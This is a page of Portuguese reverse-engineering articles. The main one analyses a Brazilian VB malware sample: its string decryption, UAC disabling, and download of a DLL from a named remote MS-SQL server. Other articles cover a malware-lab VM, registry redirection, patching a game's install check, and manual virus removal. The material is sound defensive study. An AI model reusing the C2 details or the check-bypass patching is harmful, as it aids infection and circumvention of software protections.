string encriptada e os interpreta como um número hexa: “66” -> 0x66 2. Pega-se o equivalente numérico de um caractere da string chave: “5” -> 0x35 3. Faz-se o xor entre esses números 0x66 ^ 0x35 = 0x53 4. Converte o resultado para o equivalente em ASCII. $ printf “x53n” 5. Volta para o passo 1 até que todos os caracteres da string encriptada tenham sido pegos, sempre dois a dois. O próximo cálculo será 0x55 ^ 0x36 e o outro, 0x47 ^ 0x35, certo? Pra você não se perder no disassembly, o xor fica em 0x40B309 – é uma chamada à função __vbaVarXor da MSVBVM60.DLL. Nem bitwise programa em VB faz, rapaiz! Escrevi um programa em C para fazer este trabalho sujo de desencriptar as strings (pardal_decrypt.c) : $ gcc -o pardal_decrypt pardal_decrypt.c $ ./pardal_decrypt 6655475C45405C58521B606F53535577515F505640625441 Scripting.SWbemObjectSet Em 0x40B4E7, depois de desencriptar a primeira string, o malware chama a função rtcCreateObject2 da biblioteca. Conseguimos saber o nome dela graças à análise do OllyDbg. Dá pra imaginar o que essa função faz pelo nome e pela string que foi descriptografada antes dela. Não tenho intenção aqui de reescrever o código do malawre, então não vou me focar em como ele faz e sim o que ele faz. Logo, meus chutes de código não refletem necessariamente a realidade. Daqui pra frente seria bom acompanhar olhando o disassembly do malware (cuidado – não vá rodar o cara!) Na sequência, mais strings são desencriptadas: “Scripting.SWbemObjectSet” e “Scripting.SWbemObject”. Objetos destas classes também são criados. Em seguida mais duas strings: “Win32_OperatingSystem” e “winmgmts:{impersonationLevel=impersonate}”. Não é difícil deduzir que será feita uma query WMI. Em 0x40B672 há uma chamada para a rtcGetObject. É claro que ter alguma experiência com programação ajuda aqui. No caso de executáveis feitos em VB, ter programado em VBScript me ajuda. Entrando na call em 0x40B70D, cheguei na função 0x40E210, que pega o idioma da instalação do Windows. Ainda nesta função, em 0x40E38F, o malware verifica se a string “uguês (Brasil)” faz parte da string de retorno do idioma. É uma chamada à função InStr() do VB. De volta ao fluxo anterior, em 0x40B726 rola um “for each” que vai iterar através da coleção de objetos que a query “SELECT * FROM Win32_OperatingSystem”, montada algumas linhas antes, retorna. Nesse loop duas coisas são feitas: o atributo Caption do objeto retornado é guardado e o idioma é checado. Em 0x40B87F há uma call interna para 0x4019ED. Esta é um call bem legal de acompanhar de perto. Ela desencripta a string “TMP” e em 0x40BB58 chama a rtcEnvironBstr, que vai retornar o valor de uma variável de ambiente. No caso, o valor da variável de ambiente TMP que é o caminho completo do diretório temporário do usuário logado: C:> echo %TMP% C:DOCUME~1xpclientCONFIG~1Temp O malware desperta a curiosidade: o que ele quer no temp? Baixar algo? Gravar algo? Em 0x40BF57 o corno chama a rtcFileCopy e se copia para o diretório temporário do usuário. Em seguida testa se está no Windows Vista ou 7 para usar o runas, porque ele vai querer executar a sua cópia com privilégios administrativos. Em 0x40C101 ele manda executar sua cópia com uma chamada a rtcShell e morre. O trabalho sujo mesmo será feito pela cópia agora. Abri a cópia no debugger e vi que em 0x40C12A o malware verifica se seu caminho atual de execução é o diretório temporário. O problema é que pelo menos no Windows XP, essa checagem foi feita de maneira errada (pois é, bug no malware). O caminho atual pego vem no formato 8.3 do DOS. Veja: 0040C12A MOV EAX, DWORD PTR SS:[LOCAL.10] ; UNICODE “C:\DOCUME~1\xpclient\CONFIG~1\Temp\IMG2005M.exe” Quando essa string é comparada com o conteúdo da variável ambiente TMP, o resultado é falso e o malware tenta se copiar novamente para o temp, mas já existe um executável dele lá (que é ele mesmo) e não consegue se copiar. Aí entra em loop. =P Zerei, em tempo de execução, o valor de EAX, que é o registrador que armazena o retorno da __vbaStrCmp, para que o salto em 0x40C132 aconteça. Seguindo a análise, entrei numa call para 0x40C640 que busca o valor “EnableLUA” na chave “HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem”. Caso não exista ou não seja zero, o malware seta para zero, desabilitando esta proteção do Windows. Mais a frente, em 0x40C939 ele exibe essa mensagem: Isso não é um erro causado pelo malware – é uma mensagem inofensiva, exibida de propósito. O texto é fixo e essas strings fazem parte das strings criptografadas. Elas estão em 0x40C8CF e 0x40C8EA. Agora o processo fica residente aguardando acesso à internet. Para isso ele tenta acessar a página do Google. Quando conseguir, vai para a última função do mal em 0x40C9D0. À esta altura do campeonato, basta olhar a função que você vai perceber todo este fluxo. Logo no início dela, um arquivo mkajs21mx.tmp é criado no diretório temp do usuário. Em seguida o malware faz uma conexão com um serivodr MS-SQL remoto, na URLia8eaatjyur0gqzaslrlqw2n8k.zlg.br na porta 9321. Nome de usuário, senha e nome do banco também são desencriptados pela mesmíssima rotina 0x40AF60. Após conectar, o malare faz a seguinte query SQL: SELECT TOP 1 * FROM Professor_Carregador ORDER BY Professor_Carregador_ID DESC O retorno dessa consulta tem ~70k e começa com 0x4d e 0x5a. O que é o que é? =D O malware salva o binário pego via SQL em %WINDIR%System32MakeObject.dll e depois registra essa DLL com o regsvr32.exe como um complemento do IE: Aí vem outra query: INSERT INTO Professor_Informa(Professor_Informa_WithEvents,Professor_Informa_Control) VALUES(‘0’, ‘0’) Fiz um script em VBScript pra pegar alguns registros deste banco (pardal_sql.vbs) e descobri que há mais de 6000 registros já. Ou seja, um número próximo desse de computadores brasileiros foram infectados. Impressionante. Já em relação aos registros, não tem nada demais. Por fim, só pra não dizer que não perturbou, o malware tenta apagar o arquivo WAV que é o somzinho de inicialização do Windows, mas pelo menos no XP SP3 PT-BR ele errou o nome e tentou apagar o Início do Windows XP.wav quando o nome real é Inicialização do Windows XP.wav. Segundo bug. E o que faz a MakeObject.dll? Eu dei uma pesquisada e achei alguns usuários reportando sintomas de envio automático de e-mail via Hotmail. Por coincidência ou não, todos tinham essa DLL em logs do HiJackThis. Mas no momento estou cansado de ver funções do VB na minha frente. Então quem quiser analisar, eu envio a DLL. Os usuários de Windows têm então mais duas coisas para se preocupar: a falta do somzinho de incialização e um MakeObjects como complemento no IE. Sem falar na DLL em si, que não sabemos o que faz ainda. Boa sorte! hehe Referências: [1] upx.sourceforge.net [2] https://github.com/merces/pev [3] rdgsoft.net [4] www.ollydbg.de
  14. Resolvi montar este tutorial depois do grande trabalho que tive pra atualizar a máquina virtual que utilizo para analisar malware. Perdi horas procurando e instalando programas. Minha vontade era de distribuir um OVA com a máquina já pronta e talvez faça isso no futuro mas por hora vou discutir aqui os programas que utilizo para uma análise básica de malware ou engenharia reversa de algum software. Máquina virtual 512 MB de memória Placa de rede em modo NAT Sistema operacional Utilizo o Windows 7 64-bits em Português do Brasil, para facilitar na análise de malware brasileiro que teste o idioma do SO. Claro que em alguns casos vale a pena você ter máquinas virtuais de outras versões do Windows e em diferentes idiomas para ver se o comportamento do seu alvo muda. “Alvo” aqui significa o arquivo que você vai analisar, seja porque ele é suspeito seja porque você quer conhecer seu funcionamento. Algums dicas durante de instalação: Não utilizar seu nome verdadeiro na criação da conta de usuário do Windows durante a instalação. Não há necessidade. Não instalar as extensões do software virtualizador como VMware Tools ou VirtualBox Guest Additions. Não instalar nenhum antivírus, firewall ou qualquer software de proteção. Desabilitar todos os itens na “Central de Segurança” do Windows, incluindo as atualizações automáticas. Arquivos diversos Costumo espalhar uns arquivos .doc, .xls etc pela máquina, a fim de parecer que é uma máquina real. Algumas ameaças (principalmente ransomware) tentam encriptar ou mesmo destruir arquivos das vítimas. Software geral 7-Zip: Descomprime qualquer formato! E é livre. Firefox: Browser livre. Flash: Caso precise analisar SWF ou visualizar algum site que exija, mas cuidado pra não baixar tralha da McAfee junto. Java: Somente a JRE (Java Runtime Environment), para analisar classes Java. .NET Framework: Para permitir que ferramentas e alvos escritos nesta linguagem rodem. Notepad++: o único editor de arquivos que você precisa no Windows! Software específico API Monitor: Pode monitorar qualquer chamada a uma função específica da API do Windows ou de uma DLL específica. Muito bom. CFF Explorer: Analisador de PE. DeDe: Descompilador para Delphi. Extremamente útil para os malwares brasileiros! DIE (Detect It Easy): Detector de packer novo e promissor com suporte a regras personalizadas. Dis#: Descompilador para .NET. E2A (Event to Address): Somente para alvos escritos em Borland C++, dá os endereços dos eventos, como o clique de um botão por exemplo. Impressionante. FileGrab: Monitora o filesystem e copia para um diretório qualquer arquivo criado nele. Útil pra monitorar comportamento de malware que se deleta. Hex Workshop: Editor hexa animal, mas pago (não se preocupe, há um livre no final da lista). IDA Free: Disassembler e debugger. Tem uma função graph muito útil, além de suporte a vários tipos de binários e muitos recursos. ImpRec (Import Reconstructor): Útil para unpacking manual, para reconstruir a IAT (Import Address Table) de binários. JD-GUI: Descompilador Java (gera código Java a partir dos .class). .NET Reflector: Outro descompilador pra .NET. Assim como o Dis#, gera MSIL (Microsoft Intermeddiate Language) como saída, não Assembly. OllyDbg: Debugger e disassembler. O principal programa para análise. PeStudio: Analisador de arquivos PE. pev: Toolkit para análise de binários. ProcessExplorer: Monitora o que os processos estão fazendo no sitema (chaves de registro que estão abrindo, outros arquivos etc). RawCap: Sniffer de pacotes que usa raw sockets. É muito rápido e simples de usar. Gera o PCAP pra ser analisado no Wireshark futuramente, o que pode ser feito fora da máquina virtual. RDG Packer Detector: Melhor detector de packer que conheço. RegShot: Usado para tirar uma “foto” do sistema antes e outra depois da execução de um aplicativo, a fim de compará-las para investigar o que foi alterado. ResHack (Resource Hacker): Editor de recursos (ícones, telas e afins dentro do binário). wxHexEditor: Editor hexadecimal livre, cheio de recursos. Tem a capacidade de editar discos inclusive. Software opcional, caso precise programar Orwell Dev-C++: Versão em constante atualização do Dev-C++, para quem precisar codar em C/C++ para ver o comportamento de uma função da API do Windows por exemplo. Visual Studio Express: Para desenvolver em .NET, a Microsoft oferece uma versão gratuita (Express) do Visual Studio. IMPORTANTE: Após instalar todos os softwares, é de extrema utilidade criar um snapshot da máquina virtual, pra você voltar facilmente a este estado limpo após analisar um arquivo suspeito, por exemplo. Se você é iniciante, recomendo baixar e testar um programa de cada vez, até entender o motivo pelo qual ele pode ser útil. Alguns programas da lista acima são redundantes entre si pois possuem o mesmo objetivo, mas às vez um é mais preciso que outro dependendo do alvo, por isso é interessante mantê-los. Recomendo colocar as ferramentas que não possuem programa de instalação, como o E2A, num diretório tipo C:tools e criar atalhos para os executáveis principais na área de trabalho. O artigo é curto mas o trabalho que o leitor terá é grande.
  15. Recentemente fui requisitado para verificar a possibilidade de um determinado sistema cliente-servidor funcionar em thin clients (terminais leves, que usam o processamento e o SO de um servidor de terminais). O sistema baseia-se em um aplicativo servidor e um pequeno aplicativo cliente, que deve ser instalado em todas as estações. Mas ele não foi feito para funcionar com terminal services: este pequeno aplicativo instalado nas estações mantém suas configurações numa chave de registro em HKEY_LOCAL_MACHINE. Logo, cada estação precisa de um SO para que o aplicativo crie esta chave e armazene suas configurações individuais. Imediatamente pensei que se este aplicativo armazenasse suas configurações em HKEY_CURRENT_USER, seu funcionamento em thin client seria viável, uma vez que esta chave do registro existe para cada usuário que se loga no sistema (diferente da chave HKEY_LOCAL_MACHINE, que é única no SO). Neste artigo vou mostrar como alterar o comportamento de um executável que armazena suas configurações em HKLM, fazendo-o armazenar em HKCU, para atingir o objetivo desejado. O primeiro passo é analisar o executável e verificar que valores ele cria no registro e qual o momento em que isto acontece. Para isso podemos usar o RegMon (Registry Monitor). Com o RegMon aberto, criei um filtro para incluir somente o cliente.exe na monitoração do RegMon e dar um highlight quando a operação for CreateKey (criar uma chave no registro). Ao executar cliente.exe, vamos ver o que o RegMon informa. Na primeira linha com highlight em vermelho, vemos que o software procura pela chave HKCUSoftwarePCSCliente. Como não existia tal chave, ele a criou (visível nas linhas que seguem). Depois o software procura pela chave HKLMSoftwarePCSCliente e também não encontra (veja a coluna RESULT) e também a cria. Rolando mais abaixo, vemos que ele procura por sub-chaves também, mas ainda não as cria: Cliquei no botão Aplicar do software, que salva as configurações e aí sim, o RegMon acusou várias criações de sub-chaves (CreateKey) e inclusive a criação de valores (SetValue). Veja que todos são em HKLM: Nossa intenção é fazer com que o software crie estes valores em HKCU, para permitir o uso de thin clients. Já sabemos quando e onde o programa cria as chaves, agora precisamos saber qual é a API do Windows responsável por criar as chaves no registro. Para isso, basta consultar o Win32 SDK Online Help (win32.hlp). Na busca, procurei por “reg” e imediatamente achei a RegCreateKey e a RegCreateKeyEx. Mas a RegCreateKey é para compatibilidade com aplicativos do Windows 3.11, portanto a API correta é a RegCreateKeyEx. Vamos olhar o trecho inicial da documentação sobre ela: LONG RegCreateKeyEx( HKEY hKey, // handle of an open key LPCTSTR lpszSubKey, // address of subkey name DWORD dwReserved, // reserved LPTSTR lpszClass, // address of class string DWORD fdwOptions, // special options flag REGSAM samDesired, // desired security access LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key security structure PHKEY phkResult, // address of buffer for opened handle LPDWORD lpdwDisposition // address of disposition value buffer ); Parameters: hKey Identifies a currently open key or any of the following predefined reserved handle values: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS The key opened or created by the RegCreateKeyEx function is a subkey of the key identified by the hKey parameter. Basta ler este trecho da documentação para perceber que o parâmetro hKey, que é passado para a função RegCreateKey é o responsável por definir se a criação da sub-chave será em HKCR, HKCU, HKLM ou HKU. Então temos que encontrar o ponto onde o programa chama a função RegCreateKey, passando como parâmetro hKey o valor que representa HKCL e substituir pelo valor que representa HKCU. Mas que valores são esses? Bem, eu não achei na documentação mas podemos encontrar isso já debugando o programa. Mãos à obra! Ao abrir o cliente.exe no OllyDbg (um debugger de executáveis 32-bits), antes de rodar o software, precisamos definir breakpoints (pontos de parada, numa tradução livre) para que o debugger interrompa a execução do software quando a API que queremos for chamada, no caso, a RegCreateKeyEx. Para isso, na Command Bar, basta digitar “BP RegCreateKeyExA” (sem aspas) e pressionar [ENTER]. Este “A” é porque a função trabalha com caractes em ASCII. Para caracteres UNICODE, usa-se “W”. Agora é só rodar o programa no OllyDbg (F9) e esperar parar. A primeira parada (breakpoint) na função RegCreateKeyExA não é a que esperamos, pois antes de criar a nossa chave, o software precisa criar outras chaves (de sistema) que são essenciais ao seu funcionamento. Portanto, vamos apertando F9 (Run) até que a parada seja na hora da criação de nossa chave. Aqui precisei rodar (F9) mais cinco vezes. Quando for a correta, a stack (pilha de memória) que o OllyDbg mostra, ficará como na imagem abaixo: Perceba que foi passado o valor hexa 80000002 como parâmetro hKey e isso resultou HKEY_LOCAL_MACHINE (o OllyDbg nos mostra). Os possíveis valores são: Chave Valor (em hexa) HKEY_CLASSES_ROOT 80000000 HKEY_CURRENT_USER 80000001 HKEY_LOCAL_MACHINE 80000002 HKEY_USERS 80000003 HKEY_PERFORMANCE_DATA 80000004 HKEY_CURRENT_CONFIG 80000005 HKEY_DYN_DATA 80000006 DICA: Se clicarmos com o botão direito no valor 80000002, na stack, e escolhermos a opção “Modify”, poderemos mudar este valor em tempo de execução. Mas é claro que a alteração não será permanente pois estaríamos alterando na memória. Para alterar permanentemente, precisamos saber em que parte do programa está este valor 80000002 (HKLM) e mudar para 80000001 (HKCU), mas em respeito ao desenvolvedor do software, não mostrarei publicamente como fazer isso.
  16. Muitos jogos antigos apresentam problemas ao serem executados ou simplesmente instalados no Windows Vista. Isto acontece por conseqüência de diversos fatores, mas o principal é que quando o jogo (ou software) foi desenvolvido, o Windows Vista ainda não estava no mercado, o que impediu testes de serem realizados, entre outros aspectos. Este artigo mostra um exemplo de como utilizar a ER para estudar o executável do game e saber o que o impede de rodar no Vista. Você verá como uma simples alteração em 2 bytes de um arquivo PE pode salvar seu fim de semana. Ao tentar instalar o jogo Mortal Kombat 4 (PC) no Windows Vista Home Basic, obtivemos um erro fatal que dizia: “Start Menu Error”. A única opção era clicar no botão OK, que encerraria a execução do programa de instalação. Numa tentativa de contornar tal situção, copiamos o conteúdo do CD-ROM para um diretório no disco rígido e tentamos executar o game pelo seu executável direto, o MK4.EXE. Isso resultou no seguinte erro: É notável que o executável checa se a instalação do jogo foi feita e, como não foi feita, recebemos a mensagem acima. Ao clicar em OK, o processo é encerrado. Mas o que será que o jogo checa para saber se está instalado ou não? Para responder a essa pergunta precisaremos de um debugger de executáveis. Um aplicativo que mostra, em assembly, as rotinas executadas por arquivo PE. Usaremos o OllyDbg para tal função. Ao abrir o executável MK4.EXE no OllyDbg, vamos procurar pela string de texto contida na mensagem de erro da primeira imagem. Para isto, clique com o botão direito do mouse no primeiro quadrante e escolha “Search for > All referenced text strings”, como sugere a imagem abaixo: A próxima tela mostra uma lista contendo todas as strings de texto encontradas e entendidas no arquivo MK4.EXE. Nela, clicando novamente com o botão direito do mouse e escolhendo “Search text”, abrirá uma janela como a mostrada abaixo e então digitamos o texto “CD” (sem aspas) e marcamos a opção para diferenciar o caso, para filtrar a pesquisa. Isso foi feito para encontrarmos a string de texto que nos foi exibida no erro incial, lembra-se? O texto era “Mortal Kombat 4 is not installed. Run Setup from the CD”. Por isso buscamos a palavra “CD”, para achar essa string dentro do executável do jogo, o que nos leva para próximo da rotina onde esta mensagem é chamada. Vamos ver o resultado na imagem abaixo: O Olly nos mostra que no endereço 004AD2B1, o comando é PUSH 004F474C, que vai empurrar para a memória (stack) o nosso texto. Para localizarmos exatamente onde está este comando no programa, basta darmos um ENTER nesta linha e a tela abaixo é exibida. Entramos no bloco onde o texto do erro é exibido na tela. Vamos subir um pouco para ver o que vem antes. Na linha 004AD299 temos um CALL (como um GOTO) e, depois que a CALL temina e o programa volta para sua execução normal, temos um TEST EAX, EAX, que é um comando que verifica se o conteúdo de EAX é zero. Então podemos prever que a CALL altera o valor de EAX. Mais abaixo, temos um JNZ 004AD2D4. Esse JNZ significa Jump if Not Zero (Pule se não for zero), o que quer dizer que a execução do programa saltará para a linha 004AD2D4 se o conteúdo de EAX não for zero. Bom, se a execução não saltar e seguir abaixo, cairemos na mensagem de erro. Se saltar, a pularemos. Então seria interessante alterar essa parte do programa para que sempre salte para a linha 004AD2D4. Isso significa que independente do resultado do teste anterior (TEST EAX, EAX) o salto ocorrerá, sempre. Assim nunca cairemos na mensagem novamente e programa continuará sua execução normal. O comando que faz o papel de salto incondicional em assembly é o JMP (Jump). Então, vamos alterar o JNZ da linha 004AD2A0 para JMP (e manter o resto da linha). Para isso, basta selecionar a linha e apertar a barra de espaços, depois clicar em Assemble. Feito isso, o Olly marca nossa alteração em vermelho. Clicando com o botão direito do mouse sobre a alteração (ou próximo) e escolhendo “Copy > All modifications”, uma tela com as modificações abre e então basta clicar novamente com o botão direito e escolher “Save file”. Dei o nome de MK4-mod.EXE para facilitar o reconhecimento. Agora vamos ao teste. Ao executar este novo executável modificando, vemos o jogo rodando: É importante esclarecer que os passos descritos aqui não são genéricos e não servem para todos os softwares que não funcionam, em primeira instância, no Vista. O funcionamento depende de vários fatores e principalmente do nível de integração do software com o SO para o qual ele foi desenvoldido. O objetivo deste artigo foi demonstrar como a ER pode nos ajudar a resolver pequenos (e grandes, por quê não?) problemas do dia-a-dia na informática. Este é um dentre dezenas de exemplos de uso da ER para soluções que seriam um pouco difíceis sem ela.
  17. A maioria dos vírus e pragas virtuais compartilham de certos métodos de auto-inicialização com o SO. Isto inclui os spywares e seus similares. Os sistemas Windows possuem métodos para inicializar programas junto ao seu carregamento limitados. Na maioria das vezes os vírus iniciam justamente por eles e daí a importância de conhecê-los e saber gerenciá-los. Desta forma, o técnico pode remover manualmente muitas pragas, o que economizará tempo com scans de softwares antivírus e anti-spys, além de ser extremamente útil quando o vírus ataca estes softwares de proteção, impedindo sua inicialização. Primeiro vamos ver de que jeito um aplicativo pode ser iniciado junto ao Windows. A maior parte dos vírus age deste jeito. Em sistemas baseados em Windows NT, o que inclui os Windows 2000, XP e 2003, os métodos de inicialização de programas são: Através da pasta Inicializar do Menu Iniciar. No registro do sitema. Por serviço de sistema (o que inclui certa parte do registro). Na primeira maneira, basta colocar um atalho para o programa que se deseja executar na pasta Inicializar do Menu Iniciar. Por exemplo, na imagem abaixo, a cada inicialização do Windows, inicializaremos a Calculadora junto. Obviamente um vírus pode se aproveitar deste recurso e colocar um atalho para si neta pasta mas não é comum isso acontecer pois o vírus ficaria facilmente visível e uma das intenções de vírus complexos é passar despercebido ao usuário/técnico. De qualquer forma, não custa conferir. Agora vamos ao método mais usado, o registro do sistema. Aqui precisaremos explicar resumidamente como o registro destas versões do Windows funciona. O registro é um banco de dados que armazena informações essenciais sobre diversos softwares instalados no Windows, além de informações pertinentes ao próprio sistema. Por conta disto, é comum apelidar o registro de “alma do sistema”. Esse banco de dados possui, além de outros dados, chaves, sub-chaves e valores numa organização hierárquica (similar ao Windows Explorer). Para o artigo, precisaremos conhecer essas três chaves: HKEY_LOCAL_MACHINE – Esta é a chave mais importante do registro. Nela estão contidas informações sobre o PC (hardware instalado, softwares com sua opções e configurações e outros itens). Inclusive veremos que um programa pode ser inicializado por uma sub-chave desta chave. HKEY_USER – Nesta chave são definidas configurações personalizadas para cada usuário do sistema, já que as versões do Windows mais novas permitem logon simultâneo ou não de usuários diferentes. De maneira similar à chave anterior, um vírus pode inicializar-se junto ao SO somente para um usuário específico, usando uma sub-chave desta chave. HKEY_CURRENT_USER – Como o nome sugere, mantém informações sobre o usuário que está atualmente logado no sistema. Todo o registro é dinâmico mas esta chave merece uma definição de dinamismo especial pois muda os valores de suas sub-chaves completamente quando logamos com outro usuário no Windows. Não é difícil de deduzir que ela é um atalho para uma sub-chave de HKEY_USER, já que esta última mantém uma sub-chave para cada usuário cadastrado no sistema. Por exemplo, se logarmos com o usuário “Fernando”, esta chave será uma cópia da sub-chave HKEY_USER. SID (Security Identifier) é uma identificação única que cada usuário tem e o SO conhece os usuários através deste SID. Abaixo, o utilitário “regedit” (Registry Editor), usado para visualizar o conteúdo do registro do sitema. Perceba a igualdade entre as áreas destacadas em vermelho. É justamente o que falamos na explicação da chave HKEY_CURRENT_USER. Note o SID do meu suário também. Depois desta breve introdução ao registro do sistema, podemos partir para as sub-chaves que realmente importam na questão da remoção manual de vírus. São elas: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx HKEY_USERS\SOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_USERS\SOFTWAREMicrosoftWindowsCurrentVersionRunOnce As duas últimas chaves acima dependem do SID do usuário mas se a suspeita de vírus for no usuário que está logado, você pode acessá-las pelo atalho como comentamos acima. Tudo o que estiver nestas chaves será inicializado junto ao sistema. Faça o teste: verifique o que tem nas sub-chaves de seu PC e veja os caminhos para os arquivos que incializam. No exemplo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun da máquina que usei, está assim. Como podemos ver, só há três valores, que são os caminhos absolutos dos executáveis que inicializam junto à máquina usada. Esta é uma máquina virtual. Numa máquina real, os valores normais são outros. Para remover programas da inicialização, basta remover os valores desejados. É importante salientar que muitos arquivos presentes nestas sub-chaves são essenciais ao sistema e não devem ser removidos. Cabe ao técnico saber identificar caminhos e nomes de executáveis suspeitos. Se você tiver dúvida quando à procedência de algum arquivo, pode digitar seu nome no site Process Library, que mantém uma lista atualizadas de processos (programas em execução) para nos ajudar a identificar se são do sistema ou não. Há ainda o método de serviços que podem ser utilizado por alguns vírus mais complexos. A tela de serviços você tem acesso indo no menu Iniciar > Executar, digitando services.msc e clicando no botão OK. Eis a da máquina que usamos para o artigo. Esses serviços são na verdade processos (programas) inicializados que recebem este nome pela capacidade de poderem ser muito melhor gerenciados pelo sistema operacional que um processo comum. Perceba a coluna “Status” na imagem. Um serviço pode ser iniciado, reiniciado, pausado ou parado e seu método de inicialização pode ser manual (quando clicado), automático (a cada inicialização do sistema) ou desativado. Um vírus obviamente se aproveitaria do método automático e poderíamos pará-lo e depois desativá-lo numa remoação manual. Assim como os processos comuns, a maioria dos serviços é essencial ao sistema, portanto, é bom que se faça uma pesquisa sobre ele (no Google e sites similares) antes de parar ou desativar um serviço suspeito ou não. Ao entrarmos nas propriedades de um serviço, vemos o caminho do executável ao qual ele se refere além de uma caixa drop-down para alterar o tipo de inicialização, como mostra a imagem abaixo. Com este básico conhecimento, muitos vírus podem ser removidos mas é claro que não basta. Recomendamos sempre um scan com um bom antivírus atualizado e com um anti-spy, mesmo após a remoção manual. Existem alguns programas que podem ajudar na identificação de vírus e na remoção manual. Abaixo segue uma lista com descrição: Process Explorer – monitora os processos em execuçao em tempo real, o que permite identificarmos se algum processo suspeito está sendo executado. O Process Explorer também mostra o que o processo está fazendo ou tentou fazer (quando bloqueado pelo SO). HiJackThis – gera uma lista e um arquivo de log com todos os processos que inicializam junto ao sistema, podendo ser utlizado inclusive para remover o que sejam julgados suspeitos (muito cuidado com seu julgamento). NOTA: O projeto original foi descontinuado, mas o usuário Polshyn Stanislav da Ucrânia o continuou. Gmer - uma aplicação que detecta e remove rootkits (dentro de um limite, claro). A ideia é procurar por uma lista de coisas escondidas, tais como processos, threads, serviços, arquivos etc. MSCONFIG – utilitário presente no Windows XP mas que pode ser copiado a partir do arquivo msconfig.exe para outros sitemas Windows. Ele mostra de forma interativa o que está sendo inicializado junto ao sistema além de permitir a consulta de outras informações. Você pode chamá-lo a partir do menu executar.
×
×
  • Create New...